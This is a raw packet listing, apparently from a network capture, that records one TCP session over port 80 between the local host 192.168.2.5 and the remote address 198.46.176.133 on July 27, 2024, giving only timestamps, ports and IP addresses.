Jul 27, 2024 13:31:00.979585886 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:00.979635000 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:00.979667902 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:00.979700089 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:00.979706049 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:00.979753971 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:00.979768991 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:00.979803085 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:00.979835033 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:00.979859114 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:00.979866982 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:00.979899883 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:00.979921103 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:00.979932070 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:00.979991913 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:00.981713057 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:00.981843948 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:00.981890917 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:00.981893063 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:00.981925964 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:00.981957912 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:00.981981993 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:00.981991053 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:00.982023954 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:00.982038975 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:00.982096910 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:00.982130051 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:00.982146978 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:00.982161999 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:00.982193947 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:00.982208967 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:00.982228994 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:00.982275963 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.001648903 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.001682997 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.001724005 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.001744032 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.001786947 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.001821041 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.001842022 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.001853943 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.001905918 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.001923084 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.001955986 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.002012014 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.002021074 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.002106905 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.002139091 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.002161980 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.002171993 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.002206087 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.002238035 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.002238989 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.002269983 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.002284050 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.002304077 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.002351999 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.002613068 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.002645016 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.002682924 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.002702951 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.002716064 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.002748013 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.002765894 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.002780914 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.002815008 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.002831936 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.002847910 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.002881050 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.002897978 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.002912998 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.002944946 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.002959013 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.002978086 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.003011942 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.003026009 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.003045082 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.003077984 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.003093004 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.003110886 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.003156900 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.003182888 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.003216982 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.003251076 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.003262043 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.003530025 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.003561974 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.003578901 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.003595114 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.003629923 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.003642082 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.003664017 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.003695965 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.003714085 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.003729105 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.003761053 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.003779888 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.003793955 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.003827095 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.003845930 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.003859997 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.003891945 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.003906012 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.003925085 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.003957033 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.003969908 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.003990889 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.004025936 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.004040956 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.004060984 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.004112959 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.004503965 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.004533052 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.004565001 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.004582882 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.004597902 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.004631996 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.004647970 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.004664898 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.004710913 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.004725933 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.004745960 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.004779100 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.004793882 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.004813910 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.004848003 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.004862070 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.004880905 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.004911900 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.004930973 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.004945993 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.004978895 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.004993916 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.005013943 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.005048037 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.005064011 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.005217075 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.005249977 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.005266905 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.005285025 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.005335093 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.005357027 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.005390882 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.005423069 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.005436897 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.005456924 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.005507946 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.021733046 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.021779060 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.021797895 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.021811962 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.021826982 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.021842003 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.021859884 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.021884918 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.021945953 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.070009947 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.070154905 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.070185900 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.070255995 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.070261002 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.070318937 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.070338011 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.070370913 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.070404053 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.070420980 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.070436001 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.070470095 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.070485115 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.070523977 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.070558071 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.070573092 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.070593119 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.070626974 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.070638895 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.070661068 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.070693970 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.070708990 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.072148085 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.072182894 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.072201014 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.072267056 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.072299957 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.072319984 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.072336912 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.072371960 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.072382927 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.072407961 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.072453022 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.072460890 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.072561979 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.072613001 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.072618961 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.072670937 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.072702885 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.072736025 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.072738886 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.072772026 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.072788954 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.094080925 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.094118118 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.094150066 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.094151974 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.094206095 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.094269991 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.094341993 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.094388008 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.094393969 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.094428062 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.094461918 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.094480038 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.094495058 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.094528913 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.094544888 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.094579935 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.094613075 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.094626904 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.094670057 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.094722033 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.094722986 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.094757080 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.094791889 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.094806910 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.094825029 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.094877005 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.094907045 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.094969988 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.095016956 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.095021009 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.095053911 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.095087051 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.095105886 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.095120907 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.095153093 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.095168114 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.095186949 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.095221996 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.095243931 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.095256090 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.095290899 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.095304966 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.095324039 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.095356941 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.095371962 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.095393896 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.095428944 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.095443964 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.095460892 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.095494986 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.095509052 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.095531940 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.095582008 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.095879078 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.095913887 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.095947027 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.095962048 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.095979929 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.096014977 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.096029997 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.096046925 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.096081018 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.096097946 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.096113920 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.096148014 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.096164942 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.096180916 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.096215010 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.096231937 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.096247911 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.096282959 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.096296072 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.096316099 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.096349955 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.096364021 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.096384048 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.096419096 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.096434116 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.096452951 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.096503973 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.096514940 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.096546888 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.096594095 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.096832037 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.096867085 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.096899986 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.096915960 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.096931934 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.096965075 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.096976995 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.097001076 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.097033978 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.097044945 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.097069979 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.097103119 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.097114086 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.097136021 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.097171068 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.097183943 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.097203016 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.097234964 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.097264051 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.097266912 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.097301960 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.097316980 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.097337961 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.097372055 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.097387075 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.097404957 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.097440958 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.097448111 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.112442970 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.112519979 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.112541914 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.112601995 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.112637997 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.112652063 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.112670898 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.112705946 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.112786055 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.112801075 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.112854958 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.162029982 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.162100077 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.162151098 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.162168980 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.162184000 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.162218094 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.162235022 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.162290096 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.162323952 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.162343979 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.162357092 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.162403107 CEST	49704	80	192.168.2.5	198.46.176.133
